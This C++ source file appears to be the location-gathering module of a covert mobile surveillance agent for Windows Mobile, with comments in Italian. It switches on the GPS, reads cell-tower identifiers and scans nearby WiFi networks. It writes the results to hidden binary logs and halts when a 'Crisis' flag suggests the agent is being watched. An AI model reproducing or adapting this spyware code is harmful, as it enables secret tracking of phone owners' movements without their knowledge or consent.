#include "Modules.h" #include "Common.h" #include "Module.h" #include "Log.h" #include "Observer.h" #include "Device.h" #include "GPS.h" #include "Ril.h" #include "Cell.h" #include "WiFi.h" DWORD WINAPI PositionModule(LPVOID lpParam) { #define GPS_POLL_TIMEOUT 1000 * 60 * 14 // Tempo massimo di wait prima che il GPS venga spento BOOL gps, cell, wifi; Module *me = (Module *)lpParam; Configuration *conf = me->getConf(); HANDLE eventHandle; GPS *gpsObj = NULL; Cell *cellObj = NULL; Device *deviceObj = Device::self(); Status *statusObj = Status::self(); CWifi wifiObj; DWORD dwMCC, dwMNC; wstring wifiAdapter; BOOL gpsOk = FALSE, cellOk = FALSE; try { gps = conf->getBool(L"gps"); } catch (...) { gps = FALSE; } try { cell = conf->getBool(L"cell"); } catch (...) { cell = FALSE; } try { wifi = conf->getBool(L"wifi"); } catch (...) { wifi = FALSE; } me->setStatus(MODULE_RUNNING); eventHandle = me->getEvent(); DBG_TRACE(L"Debug - PositionGrabber.cpp - Position Module started\n", 5, FALSE); wifiObj.GetWiFiAdapterName(wifiAdapter); wstring wifiAdapterGuid = L"{98C5250D-C29A-4985-AE5F-AFE5367E5006}\\"; wifiAdapterGuid += wifiAdapter; Log logGPS, logGSM, logWiFi; LocationAdditionalData locAdditional; UINT uType; SYSTEMTIME st; FILETIME ft; BOOL bGSMEmpty = TRUE, bGPSEmpty = TRUE, bWiFiEmpty = TRUE, bCrisis = FALSE; // GPS e' un log sequenziale typedef struct _GPSInfo { UINT uSize; UINT uVersion; FILETIME ft; GPS_POSITION gps; DWORD dwDelimiter; } GPSInfo; // GSM e' un log sequenziale typedef struct _GSMInfo { UINT uSize; UINT uVersion; FILETIME ft; RILCELLTOWERINFO cell; DWORD dwDelimiter; } GSMInfo; // WiFi e' un log unico per acquisizione typedef struct _WiFiInfo { UCHAR MacAddress[6]; // BSSID UINT uSsidLen; // SSID length UCHAR Ssid[32]; // SSID INT iRssi; // Received signal strength in dBm } WiFiInfo; GPSInfo gpsInfo; GSMInfo gsmlInfo; WiFiInfo wifiInfo; // E' singleton e non va distrutta (30 sec di timeout, 1 sec di max age) do { if (gps == FALSE) break; gpsObj = GPS::self(30000, 1000); if (gpsObj == NULL) break; if (gpsObj->Start() == FALSE ) break; gpsOk = TRUE; } while (0); do { if (cell == FALSE) break; cellObj = Cell::self(30000); if (cellObj == NULL) break; cellObj->Start(); deviceObj->RefreshData(); // Prendiamo il MCC ed il MNC dwMCC = deviceObj->GetMobileCountryCode(); dwMNC = deviceObj->GetMobileNetworkCode(); cellOk = TRUE; } while (0); // Creiamo i log per ogni tipo attivato if (cell) { locAdditional.uVersion = LOG_LOCATION_VERSION; locAdditional.uType = LOGTYPE_LOCATION_GSM; locAdditional.uStructNum = 0; if (logGSM.CreateLog(LOGTYPE_LOCATION_NEW, (BYTE *)&locAdditional, sizeof(LocationAdditionalData), FLASH) == FALSE) { if (gpsOk) gpsObj->Stop(); if (cellOk) cellObj->Stop(); me->setStatus(MODULE_STOPPED); return 0; } } if (gpsOk) { locAdditional.uVersion = LOG_LOCATION_VERSION; locAdditional.uType = LOGTYPE_LOCATION_GPS; locAdditional.uStructNum = 0; if (logGPS.CreateLog(LOGTYPE_LOCATION_NEW, (BYTE *)&locAdditional, sizeof(LocationAdditionalData), FLASH) == FALSE) { gpsObj->Stop(); if (cellOk) cellObj->Stop(); logGSM.CloseLog(TRUE); me->setStatus(MODULE_STOPPED); return 0; } } /** * LOG FORMAT * * DWORD|STRUCT * * DWORD indica il tipo di struttura che segue, STRUCT e' la struttura (GPS o CELL) */ if (cellOk) { if (cellObj->getCELL(&gsmlInfo.cell)) { uType = TYPE_CELL; gsmlInfo.uSize = sizeof(gsmlInfo); gsmlInfo.uVersion = CELL_VERSION; // Scriviamo il tipo di struttura e poi i dati DWORD dwFields = RIL_PARAM_CTI_LOCATIONAREACODE | RIL_PARAM_CTI_CELLID; if ((gsmlInfo.cell.dwParams & RIL_PARAM_CTI_RXLEVEL) == RIL_PARAM_CTI_RXLEVEL) { // Convertiamo da 0..63 a dBm gsmlInfo.cell.dwRxLevel -= 110; } if ((gsmlInfo.cell.dwParams & dwFields) == dwFields && !(gsmlInfo.cell.dwLocationAreaCode == 0 && gsmlInfo.cell.dwCellID == 0)) { // Se non abbiamo MCC e MNC, usiamo quelli che abbiamo derivato dall'IMSI // Sui network CDMA: CID -> BID, LAC -> NID, MNC -> SID, MCC -> MCC if (gsmlInfo.cell.dwMobileCountryCode == 0) gsmlInfo.cell.dwMobileCountryCode = dwMCC; if (gsmlInfo.cell.dwMobileNetworkCode == 0) gsmlInfo.cell.dwMobileNetworkCode = dwMNC; if (logGSM.WriteLog((BYTE *)&uType, sizeof(uType))) { GetSystemTime(&st); SystemTimeToFileTime(&st, &ft); gsmlInfo.ft.dwHighDateTime = ft.dwHighDateTime; gsmlInfo.ft.dwLowDateTime = ft.dwLowDateTime; gsmlInfo.dwDelimiter = LOG_DELIMITER; if (logGSM.WriteLog((BYTE *)&gsmlInfo, sizeof(gsmlInfo))) bGSMEmpty = FALSE; } } } } // Senza questo Sleep() non entra nella if() successiva... Sleep(500); // Acquisiamo le reti WiFi if (wifi) { struct BSSIDInfo bssid_list[20]; DWORD dwReturned = 0; CEDEVICE_POWER_STATE powerState; ZeroMemory(&bssid_list, sizeof(bssid_list)); if (wifiAdapter.empty() == false) { powerState = deviceObj->GetDevicePowerState(wifiAdapterGuid); if (powerState < D2) { wifiObj.RefreshBSSIDs(wifiAdapter); wifiObj.GetBSSIDs(wifiAdapter, (BSSIDInfo *)&bssid_list, sizeof(bssid_list), dwReturned); if (dwReturned) { bWiFiEmpty = TRUE; locAdditional.uVersion = LOG_LOCATION_VERSION; locAdditional.uType = LOGTYPE_LOCATION_WIFI; locAdditional.uStructNum = dwReturned; if (logWiFi.CreateLog(LOGTYPE_LOCATION_NEW, (BYTE *)&locAdditional, sizeof(LocationAdditionalData), FLASH) == TRUE) { for (UINT i = 0; i < dwReturned; i++) { if (bssid_list[i].SSID[0]) { CopyMemory(&wifiInfo.MacAddress, bssid_list[i].BSSID, 6); wifiInfo.uSsidLen = wcslen(bssid_list[i].SSID); sprintf((CHAR *)wifiInfo.Ssid, "%S", bssid_list[i].SSID); wifiInfo.iRssi = bssid_list[i].RSSI; if (logWiFi.WriteLog((PBYTE)&wifiInfo, sizeof(wifiInfo)) == TRUE && dwReturned) bWiFiEmpty = FALSE; } } logWiFi.CloseLog(bWiFiEmpty); } } } } } // Senza questo Sleep() non entra nella if() successiva... Sleep(500); if (gpsOk) { // Accendiamo il GPS se polliamo su lunghi intervalli DWORD now = GetTickCount(); gpsObj->Start(); // Polla al massimo per GPS_POLL_TIMEOUT ms do { // Controlliamo se c'e' Crisis if ((statusObj->Crisis() & CRISIS_POSITION) == CRISIS_POSITION) break; // Attendiamo che fixi if (gpsObj->getGPS(&gpsInfo.gps)) { DWORD dwFields = GPS_VALID_LATITUDE | GPS_VALID_LONGITUDE; // Logga la coordinata solo se abbiamo latitutine/longitudine valida e fix 3D if ((gpsInfo.gps.dwValidFields & dwFields) == dwFields && gpsInfo.gps.FixType == GPS_FIX_3D) break; } WaitForSingleObject(eventHandle, 30000); if (me->shouldStop()) { DBG_TRACE(L"Debug - PositionGrabber.cpp - Position Module is Closing\n", 1, FALSE); if (cellOk && cellObj->RadioReady()) cellObj->Stop(); if (gpsOk && gpsObj->GpsReady()) gpsObj->Stop(); logGSM.CloseLog(bGSMEmpty); logGPS.CloseLog(bGPSEmpty); logWiFi.CloseLog(bWiFiEmpty); me->setStatus(MODULE_STOPPED); return 0; } if (me->shouldCycle()) { logGSM.CloseLog(bGSMEmpty); logGPS.CloseLog(bGPSEmpty); logWiFi.CloseLog(bWiFiEmpty); locAdditional.uType = LOGTYPE_LOCATION_GSM; locAdditional.uStructNum = 0; logGSM.CreateLog(LOGTYPE_LOCATION_NEW, (BYTE *)&locAdditional, sizeof(LocationAdditionalData), FLASH); locAdditional.uType = LOGTYPE_LOCATION_GPS; locAdditional.uStructNum = 0; logGPS.CreateLog(LOGTYPE_LOCATION_NEW, (BYTE *)&locAdditional, sizeof(LocationAdditionalData), FLASH); bGPSEmpty = bGPSEmpty = TRUE; DBG_TRACE(L"Debug - PositionGrabber.cpp - Position Module, log cycling\n", 1, FALSE); } // Controlliamo se c'e' Crisis if ((statusObj->Crisis() & CRISIS_POSITION) == CRISIS_POSITION) break; // Se non abbiamo superato il tempo di timeout proseguiamo col loop } while(GetTickCount() - now < GPS_POLL_TIMEOUT); if (gpsObj->getGPS(&gpsInfo.gps)) { uType = TYPE_GPS; gpsInfo.uSize = sizeof(gpsInfo); gpsInfo.uVersion = GPS_VERSION; // Scriviamo il tipo di struttura e poi i dati DWORD dwFields = GPS_VALID_LATITUDE | GPS_VALID_LONGITUDE; // Logga la coordinata solo se abbiamo latitutine/longitudine valida e fix 3D if ((gpsInfo.gps.dwValidFields & dwFields) == dwFields && gpsInfo.gps.FixType == GPS_FIX_3D) { if (logGPS.WriteLog((BYTE *)&uType, sizeof(uType))) { GetSystemTime(&st); SystemTimeToFileTime(&st, &ft); gpsInfo.ft.dwHighDateTime = ft.dwHighDateTime; gpsInfo.ft.dwLowDateTime = ft.dwLowDateTime; gpsInfo.dwDelimiter = LOG_DELIMITER; if (logGPS.WriteLog((BYTE *)&gpsInfo, sizeof(gpsInfo))) bGPSEmpty = FALSE; } } } gpsObj->Stop(); } me->setStatus(MODULE_STOPPED); return 0; } .